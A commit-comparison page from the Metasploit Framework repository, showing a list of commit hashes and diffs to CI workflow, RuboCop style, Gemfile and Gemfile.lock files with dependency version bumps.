Compare commits
464 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 6144b415c6 | |||
| a375c18d77 | |||
| 54e5983451 | |||
| 5aab28a1a6 | |||
| 859eda92bb | |||
| 8a5049719c | |||
| c6a75222fb | |||
| 7ed37c2e77 | |||
| 41d71124c3 | |||
| e8d134fc56 | |||
| 791b51228f | |||
| 92aec23b62 | |||
| f4d8a4dffb | |||
| 1b0665aee4 | |||
| 02e909c6b2 | |||
| 6512ed71b2 | |||
| 90d4351f0d | |||
| 9704448379 | |||
| 23bc62dac3 | |||
| c147541777 | |||
| 8811c51644 | |||
| 79033f5751 | |||
| bc12db45cd | |||
| 556af54850 | |||
| 2c11ea84e7 | |||
| 954f123e7e | |||
| 1b658aa85f | |||
| 405e7b108b | |||
| 5f230de3e7 | |||
| 1e90c6117c | |||
| 8209a4e6af | |||
| fb06bc09f5 | |||
| fc85733ec0 | |||
| 60114d3542 | |||
| 28356952cd | |||
| fa5af87f68 | |||
| def95c41ce | |||
| ed89657706 | |||
| d904eed010 | |||
| 4bcad2b3cf | |||
| 49a2ec9cca | |||
| 7c74ff4b49 | |||
| 97ebe82e6c | |||
| 861b79bce7 | |||
| 0291adf4c7 | |||
| 59c2079aa4 | |||
| 46286f8981 | |||
| 2ac177cb39 | |||
| 6a6b99885d | |||
| 5ac0145bb4 | |||
| 92fb321f9f | |||
| 4b1762081f | |||
| 3588c3915b | |||
| a4e11fd311 | |||
| e9e142b573 | |||
| 7bc30ecf39 | |||
| eda3653a51 | |||
| 4f6e2fe84e | |||
| bf8a1fc706 | |||
| 8010da8c04 | |||
| 816a021368 | |||
| 5f0c9942d2 | |||
| 8aa4d7a944 | |||
| 360e3ef039 | |||
| c4f05fb566 | |||
| a197b5a891 | |||
| 8139d0a1f1 | |||
| 79abacd186 | |||
| 7400720130 | |||
| 75a0a2ae8a | |||
| bdfe3b3be1 | |||
| 3429e86f40 | |||
| f69d9e0b0d | |||
| f81099709d | |||
| 9b61a02d04 | |||
| ef86d9f74c | |||
| cb5fbdf0c0 | |||
| b9d2b73e3a | |||
| d566fdefae | |||
| db9c718459 | |||
| ebf19051a4 | |||
| 38df0e3a58 | |||
| 95cb694d2f | |||
| bb21c8f6d8 | |||
| dc9e215318 | |||
| f191eb00c9 | |||
| 3fbcfa4100 | |||
| 4c06146900 | |||
| ce69665377 | |||
| 077d7af6a9 | |||
| 2b6815401f | |||
| db2e7bb9d7 | |||
| 4f026bbf84 | |||
| 89e257c722 | |||
| be21ef692d | |||
| 6d5688f120 | |||
| 7827d694fe | |||
| 346b593a18 | |||
| 5dfdf66a0e | |||
| beb53254c7 | |||
| 2da9d54b7b | |||
| 5ce4929834 | |||
| 2bf1f3e9e1 | |||
| ab4e3f9481 | |||
| d5107a1f79 | |||
| 2dcf2b0717 | |||
| 37caf96ae9 | |||
| db6f243305 | |||
| 17d78ecb4b | |||
| 54edd201e4 | |||
| c000ced363 | |||
| e517948f11 | |||
| a69f3eb946 | |||
| ae5c62c279 | |||
| 7b34f07422 | |||
| b3b6450958 | |||
| d92d1448ef | |||
| dbeb6ad32b | |||
| d32640d179 | |||
| 9aafb3b306 | |||
| a0cd00dac7 | |||
| f5c4f593f5 | |||
| fd8420cef7 | |||
| bf9cb3581a | |||
| e7da6e77a5 | |||
| 0b4c047411 | |||
| 260099b506 | |||
| 26b2ec3d84 | |||
| 892cab094a | |||
| bd59321cb1 | |||
| 414035e1e4 | |||
| ee2f792f58 | |||
| 4c93933b6e | |||
| 4fe8f2ce49 | |||
| 0832604131 | |||
| bf07b1c897 | |||
| d506bdc641 | |||
| 04903daa4c | |||
| 005601f76e | |||
| e5c8f15851 | |||
| fd8ceb0db2 | |||
| 475c24361d | |||
| 219f5bd2d8 | |||
| 30d1259190 | |||
| 597c97da45 | |||
| b090bb53cf | |||
| c6eebe4ca3 | |||
| 6c24ed4c96 | |||
| 3fd1a2cee1 | |||
| ccfb1b92b6 | |||
| 10d5eda489 | |||
| 81298aaca6 | |||
| 5b9e7f5777 | |||
| 8d1ae46012 | |||
| f9af8ed184 | |||
| a2f7551aa7 | |||
| 9bff7de41b | |||
| 62e60fbc81 | |||
| 0493eb2e0e | |||
| f6e81bac29 | |||
| 5b2f744cd8 | |||
| fd35ee3860 | |||
| ca239309e4 | |||
| f165527e88 | |||
| 3f9b94c55c | |||
| 40d6dd14c4 | |||
| 6d55ca4040 | |||
| 507864e5e4 | |||
| 19e9848592 | |||
| bbb152a6d8 | |||
| eccee07e8b | |||
| a60652898f | |||
| a4ff847170 | |||
| 11da08a303 | |||
| 922f1ec708 | |||
| 2717683825 | |||
| 98f4642c2d | |||
| 59bd981a70 | |||
| 1321817f66 | |||
| 5d9d3926e4 | |||
| 0efe53d869 | |||
| 126f5ca05d | |||
| 3c46221eb3 | |||
| 44038f1bef | |||
| 0d24757294 | |||
| 3a5db5e492 | |||
| f208d547ed | |||
| ddefafab78 | |||
| dfd4a77e3d | |||
| e643afb681 | |||
| 2a5c43302b | |||
| 8f6331d0d5 | |||
| 02e2072a87 | |||
| eaf8554e69 | |||
| c11be38e1c | |||
| 03ff32210e | |||
| 0806e9ef42 | |||
| 4f6720f962 | |||
| 3ee6f88eca | |||
| c21b90ea61 | |||
| 786c968395 | |||
| edef4a1e47 | |||
| 682653e9d9 | |||
| 1137036ecb | |||
| 55bd3f45be | |||
| 754b42f9f2 | |||
| 6762a7b147 | |||
| e6aa840e64 | |||
| 54928c0e7b | |||
| 4705f9c2dc | |||
| e692edc3b4 | |||
| 9f76f3ef08 | |||
| 12958326b9 | |||
| 1df297da4a | |||
| 34fc7528dd | |||
| 9bac299bc2 | |||
| b1225d4d72 | |||
| ff2421163b | |||
| 5f4de7044f | |||
| 5bbabd6f2a | |||
| 7874308fae | |||
| a8e881452b | |||
| 1807461882 | |||
| 83387212a7 | |||
| 140eef3d0d | |||
| 0b117849d0 | |||
| ed5dd4dd20 | |||
| a908ceb58a | |||
| 5e65021914 | |||
| dfe70ca3fc | |||
| d226025cd9 | |||
| 71f2e4c26c | |||
| f43c547a56 | |||
| 8297a31863 | |||
| 44abb63331 | |||
| 8541cab9f6 | |||
| ecba853b29 | |||
| f7d8c43722 | |||
| d2d7486d82 | |||
| 885c8b8a56 | |||
| e6b9610841 | |||
| 2cac8f4e3a | |||
| 3f7aed3c0a | |||
| 8f65bfff88 | |||
| 60d86cf25d | |||
| 94f082fe4a | |||
| 204e4d8cdb | |||
| 5081496786 | |||
| 67aefb372e | |||
| 54878d3f68 | |||
| 77e21de4bd | |||
| 059dd59d90 | |||
| db9626153b | |||
| b9cd724609 | |||
| 2283948fcf | |||
| 364b6c1359 | |||
| 42997be4ae | |||
| f10f5701dd | |||
| a6ee63bb6a | |||
| e8686caa02 | |||
| 47f4f2d981 | |||
| 1f96d3b42f | |||
| 5aa6cf5b42 | |||
| 6e6bb0a838 | |||
| a3e821114a | |||
| 5e1e6e6ab6 | |||
| 0b271f3a0e | |||
| f301676d04 | |||
| bba65ac090 | |||
| def73fb665 | |||
| 0e163c69ab | |||
| 09b1fddbd7 | |||
| a542ce01a1 | |||
| 541f055428 | |||
| 1d5e274deb | |||
| f8752b8e48 | |||
| f3d38e147d | |||
| bd4d3f63e4 | |||
| 7c54066b0e | |||
| 03f31f187b | |||
| b148e9da30 | |||
| d07fc7f6ee | |||
| b19ed20d0a | |||
| a10f51e1f9 | |||
| 9bd6fb9e76 | |||
| e77ae2256b | |||
| 96ae2cf9a2 | |||
| 2c4b361a6d | |||
| a1b67b20fc | |||
| 48667eda20 | |||
| df48d89923 | |||
| 327440a748 | |||
| 2c3ad585a3 | |||
| fe8cd52c9d | |||
| 66acec6a57 | |||
| 4c004d51a7 | |||
| b85cd9b682 | |||
| c75780350e | |||
| e5f2b48274 | |||
| 8b778bffc0 | |||
| 3a046f01da | |||
| bfd284b349 | |||
| 63f2da278d | |||
| acc7dd153a | |||
| 3b5c6b06a2 | |||
| 9840951f0d | |||
| 87b8182131 | |||
| 56a9b9b637 | |||
| b0bcfc071b | |||
| 8f8ee8947d | |||
| 53de5cc543 | |||
| bbd82865d6 | |||
| 21f4c77787 | |||
| 349051531a | |||
| eb3cf2fd02 | |||
| eb90bee4a7 | |||
| 40cc170578 | |||
| e83dd2b811 | |||
| 2790b72384 | |||
| 4fe7678b01 | |||
| c7ca43b585 | |||
| 8d6468e725 | |||
| 630add538f | |||
| 8f020652cc | |||
| 858adb4540 | |||
| a5db685a83 | |||
| 513338c2e5 | |||
| 5698f6e51f | |||
| 65c2b68319 | |||
| 633899402c | |||
| a15c981246 | |||
| a87a1ae1b4 | |||
| 83132dd733 | |||
| 9f55e4163f | |||
| 3aeb6597a2 | |||
| dd12e65828 | |||
| 5ed87be78e | |||
| 607b7ae5ae | |||
| 7f6f7fea3e | |||
| 9f56867f6c | |||
| 7d1c1f1f16 | |||
| 865d15975b | |||
| 975eb742cb | |||
| 260aa0533a | |||
| c003b0d293 | |||
| 9be6b0a81e | |||
| 498d01aaa3 | |||
| fe1b85a873 | |||
| ba924b3047 | |||
| 4759f7d39d | |||
| 573b8302ec | |||
| a4feaec188 | |||
| b4cac0c414 | |||
| 29dcd0fd81 | |||
| cd6c01ae9d | |||
| fb00818cab | |||
| 5574eaa591 | |||
| f0630d7479 | |||
| 167f1027c4 | |||
| b3867dc200 | |||
| 203b2486ae | |||
| 106ef40376 | |||
| a147ce907b | |||
| e2e6c15c31 | |||
| 94de45d856 | |||
| 196c354ede | |||
| 60f4787123 | |||
| a248983ca8 | |||
| 327917c015 | |||
| 889f91241a | |||
| 9fa339eca8 | |||
| e9c16fb2bb | |||
| 2ef04153b4 | |||
| 1420fa9d8b | |||
| 078652749d | |||
| 29608d13bf | |||
| f60f60db7f | |||
| a4ded39d62 | |||
| c9d9d3af29 | |||
| 99ed3afab3 | |||
| 280d1767b4 | |||
| ee64f38d8c | |||
| 04d54bc786 | |||
| 87ee307183 | |||
| cfd9b12a13 | |||
| fc1f4936ac | |||
| d231c17af8 | |||
| e5fc41a22f | |||
| a4c97a0a09 | |||
| b8e19959e0 | |||
| 5a58fbb0e5 | |||
| d102f3e48f | |||
| adaa9e239a | |||
| bb7ed355f0 | |||
| 6a07160bd5 | |||
| ac482a0d31 | |||
| e5befa676f | |||
| 57ef3d9ec6 | |||
| 28e9bc5d14 | |||
| 0459e05420 | |||
| cfd41c49ec | |||
| 1b54d27301 | |||
| 828d974db5 | |||
| 0e9c637364 | |||
| 226f4b0a53 | |||
| 3a89bef6c4 | |||
| 9193ace50b | |||
| 351c0d1651 | |||
| d95391b7f4 | |||
| 55d5e55c5e | |||
| 4b92403bba | |||
| 5420007dff | |||
| f6343f35aa | |||
| bb4007747b | |||
| 35dac6ea5f | |||
| 59ed3e5948 | |||
| 2efc381115 | |||
| 6fa086a0ab | |||
| bbbb9565a4 | |||
| d644f2d9c7 | |||
| d6c3e4ad56 | |||
| 94287c94ff | |||
| 27effc1b56 | |||
| 7a0bf69eb0 | |||
| 2360b0e2ff | |||
| 20386f1aa4 | |||
| c8e5fcf389 | |||
| 355b9c135f | |||
| 6504c01668 | |||
| dab4291016 | |||
| 24af710a4e | |||
| aefa9f3984 | |||
| a02f4caabd | |||
| 7a2fba86f1 | |||
| e982f0b890 | |||
| 69fbd195ae | |||
| daaa8cf857 | |||
| ef4b72cc5a | |||
| 574bfbed84 | |||
| 0387d09e67 | |||
| 8593f68c14 | |||
| cf822bf1c4 | |||
| e3a5f6bcb6 | |||
| ce09435d82 | |||
| 44489f0326 | |||
| 4fb2e92a8f | |||
| daae0886fa | |||
| 65e7354ee6 | |||
| ce01137525 | |||
| f15bbc1340 | |||
| 29b306fedf | |||
| 92accda770 | |||
| 046d8cbedc | |||
| 242cee3060 | |||
| f637254ab2 | |||
| 13cadbf3f1 | |||
| 0e076d286e | |||
| 46d759eca9 | |||
| 4ef54518ed | |||
| 04dd5162cf | |||
| fc82d508d8 | |||
| 825d93786e | |||
| 1064aa3f55 | |||
| b9c2ec60f5 |
@@ -0,0 +1,15 @@
|
||||
labels:
|
||||
- name: needs-docs
|
||||
labeled:
|
||||
pr:
|
||||
body: |
|
||||
Thanks for your pull request, before this can be merged - corresponding documentation for your module is required:
|
||||
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
|
||||
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
|
||||
action: open
|
||||
unlabeled:
|
||||
issue:
|
||||
body: |
|
||||
Thank you for adding module documentation :tada:
|
||||
action: open
|
||||
@@ -0,0 +1,29 @@
|
||||
#
|
||||
# Automatically respond to any issues/pull requests that have the given labels assigned.
|
||||
#
|
||||
name: Label Commenter
|
||||
|
||||
on:
|
||||
issues:
|
||||
types:
|
||||
- labeled
|
||||
- unlabeled
|
||||
pull_request:
|
||||
types:
|
||||
- labeled
|
||||
- unlabeled
|
||||
|
||||
jobs:
|
||||
comment:
|
||||
runs-on: ubuntu-18.04
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
ref: master
|
||||
|
||||
- name: Label Commenter
|
||||
# Note: Using SHA explicitly for v1.2.3 - https://julienrenaux.fr/2019/12/20/github-actions-security-risk/
|
||||
uses: peaceiris/actions-label-commenter@93941f8f189a4b92ab75059aa39fe421469253f4
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
config_file: .github/label-commenter-config.yml
|
||||
+68
-21
@@ -11,6 +11,16 @@
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.4
|
||||
|
||||
require:
|
||||
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
|
||||
- ./lib/rubocop/cop/layout/module_description_indentation.rb
|
||||
|
||||
Layout/ModuleHashOnNewLine:
|
||||
Enabled: true
|
||||
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
@@ -59,6 +69,25 @@ Style/Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Layout/FirstArgumentIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/ArgumentAlignment:
|
||||
Enabled: true
|
||||
EnforcedStyle: with_first_argument
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful for the module hash to be indented consistently'
|
||||
|
||||
Layout/FirstHashElementLineBreak:
|
||||
Enabled: true
|
||||
Description: 'Enforce consistency by breaking hash elements on to new lines'
|
||||
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
Enabled: false
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
@@ -93,26 +122,26 @@ Style/TrailingCommaInArrayLiteral:
|
||||
|
||||
Metrics/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Naming/MethodParameterName:
|
||||
Naming/MethodParameterName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
@@ -126,13 +155,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/HashAlignment:
|
||||
Enabled: false
|
||||
Description: 'aligning info hashes to match these rules is almost impossible to get right'
|
||||
|
||||
Layout/EmptyLines:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
Layout/FirstArrayElementIndentation:
|
||||
Enabled: true
|
||||
EnforcedStyle: consistent
|
||||
Description: 'Useful to force values within the register_options array to have sane indentation'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Enabled: false
|
||||
@@ -142,19 +168,24 @@ Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/ParameterAlignment:
|
||||
Layout/ExtraSpacing:
|
||||
Description: 'Do not use unnecessary spacing.'
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
# When true, allows most uses of extra spacing if the intent is to align
|
||||
# things with the previous or next line, not counting empty lines or comment
|
||||
# lines.
|
||||
AllowForAlignment: false
|
||||
# When true, allows things like 'obj.meth(arg) # comment',
|
||||
# rather than insisting on 'obj.meth(arg) # comment'.
|
||||
# If done for alignment, either this OR AllowForAlignment will allow it.
|
||||
AllowBeforeTrailingComments: false
|
||||
# When true, forces the alignment of `=` in assignments on consecutive lines.
|
||||
ForceEqualSignAlignment: false
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
@@ -163,6 +194,22 @@ Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/PercentLiteralDelimiters:
|
||||
Description: 'Use `%`-literal delimiters consistently.'
|
||||
Enabled: true
|
||||
# Specify the default preferred delimiter for all types with the 'default' key
|
||||
# Override individual delimiters (even with default specified) by specifying
|
||||
# an individual key
|
||||
PreferredDelimiters:
|
||||
default: ()
|
||||
'%i': '[]'
|
||||
'%I': '[]'
|
||||
'%r': '{}'
|
||||
'%w': '[]'
|
||||
'%W': '[]'
|
||||
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
|
||||
VersionChanged: '0.48.1'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
@@ -8,7 +8,7 @@ gem 'sqlite3', '~>1.3.0'
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
gem 'simplecov'
|
||||
gem 'simplecov', '0.18.2'
|
||||
end
|
||||
|
||||
group :development do
|
||||
@@ -20,6 +20,10 @@ group :development do
|
||||
gem 'pry-byebug'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# memory profiling
|
||||
gem 'memory_profiler'
|
||||
# cpu profiling
|
||||
gem 'ruby-prof'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
@@ -36,6 +40,7 @@ group :development, :test do
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'rubocop'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
|
||||
+58
-36
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.78)
|
||||
metasploit-framework (5.0.83)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -17,7 +17,7 @@ PATH
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday (<= 0.17.0)
|
||||
faraday
|
||||
faye-websocket
|
||||
filesize
|
||||
hrr_rb_ssh (= 0.3.0.pre2)
|
||||
@@ -27,9 +27,9 @@ PATH
|
||||
metasploit-concern (~> 2.0.0)
|
||||
metasploit-credential (~> 3.0.0)
|
||||
metasploit-model (~> 2.0.4)
|
||||
metasploit-payloads (= 1.3.84)
|
||||
metasploit-payloads (= 1.3.86)
|
||||
metasploit_data_models (~> 3.0.10)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
metasploit_payloads-mettle (= 0.5.21)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -117,23 +117,24 @@ GEM
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.11.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
ast (2.4.0)
|
||||
aws-eventstream (1.0.3)
|
||||
aws-partitions (1.278.0)
|
||||
aws-sdk-core (3.90.1)
|
||||
aws-partitions (1.288.0)
|
||||
aws-sdk-core (3.92.0)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.145.0)
|
||||
aws-sdk-ec2 (1.151.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.33.0)
|
||||
aws-sdk-iam (1.34.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.29.0)
|
||||
aws-sdk-kms (1.30.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.60.2)
|
||||
aws-sdk-s3 (1.61.1)
|
||||
aws-sdk-core (~> 3, >= 3.83.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
@@ -165,14 +166,14 @@ GEM
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (5.1.1)
|
||||
factory_bot (5.1.2)
|
||||
activesupport (>= 4.2.0)
|
||||
factory_bot_rails (5.1.1)
|
||||
factory_bot (~> 5.1.0)
|
||||
railties (>= 4.2.0)
|
||||
faker (2.2.1)
|
||||
i18n (>= 0.8)
|
||||
faraday (0.17.0)
|
||||
faraday (1.0.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faye-websocket (0.10.9)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -185,6 +186,7 @@ GEM
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jaro_winkler (1.5.4)
|
||||
jmespath (1.4.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
@@ -192,6 +194,7 @@ GEM
|
||||
loofah (2.4.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (0.9.14)
|
||||
metasm (1.0.4)
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
@@ -211,7 +214,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.84)
|
||||
metasploit-payloads (1.3.86)
|
||||
metasploit_data_models (3.0.10)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -222,8 +225,8 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.16)
|
||||
method_source (0.9.2)
|
||||
metasploit_payloads-mettle (0.5.21)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.14.0)
|
||||
mqtt (0.5.0)
|
||||
@@ -233,15 +236,18 @@ GEM
|
||||
net-ssh (5.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.8)
|
||||
nokogiri (1.10.9)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.16.0)
|
||||
octokit (4.18.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.19.1)
|
||||
parser (2.7.0.5)
|
||||
ast (~> 2.4.0)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.4.0)
|
||||
@@ -256,12 +262,12 @@ GEM
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
pry-byebug (3.8.0)
|
||||
pry (0.13.0)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.10)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.3)
|
||||
rack (1.6.13)
|
||||
rack-protection (1.5.5)
|
||||
@@ -281,6 +287,7 @@ GEM
|
||||
activesupport (= 4.2.11.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rainbow (3.0.0)
|
||||
rake (13.0.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.7)
|
||||
@@ -323,16 +330,17 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.21)
|
||||
rex-socket (0.1.23)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.24)
|
||||
rex-text (0.2.25)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rexml (3.2.4)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.9.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
@@ -340,35 +348,45 @@ GEM
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-core (3.9.1)
|
||||
rspec-support (~> 3.9.1)
|
||||
rspec-expectations (3.9.0)
|
||||
rspec-expectations (3.9.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-mocks (3.9.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (3.9.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (4.0.0)
|
||||
actionpack (>= 4.2)
|
||||
activesupport (>= 4.2)
|
||||
railties (>= 4.2)
|
||||
rspec-core (~> 3.9)
|
||||
rspec-expectations (~> 3.9)
|
||||
rspec-mocks (~> 3.9)
|
||||
rspec-support (~> 3.9)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.9.2)
|
||||
rubocop (0.80.1)
|
||||
jaro_winkler (~> 1.5.1)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 2.7.0.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
rexml
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 1.7)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-prof (1.3.1)
|
||||
ruby-progressbar (1.10.1)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.1.0)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (2.2.0)
|
||||
rubyzip (2.3.0)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simplecov (0.18.5)
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.12.2)
|
||||
@@ -392,6 +410,7 @@ GEM
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2019.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (1.6.1)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
websocket-driver (0.7.1)
|
||||
@@ -410,6 +429,7 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_bot_rails
|
||||
fivemat
|
||||
memory_profiler
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry-byebug
|
||||
@@ -417,7 +437,9 @@ DEPENDENCIES
|
||||
redcarpet
|
||||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
rubocop
|
||||
ruby-prof
|
||||
simplecov (= 0.18.2)
|
||||
sqlite3 (~> 1.3.0)
|
||||
swagger-blocks
|
||||
timecop
|
||||
|
||||
+33
-22
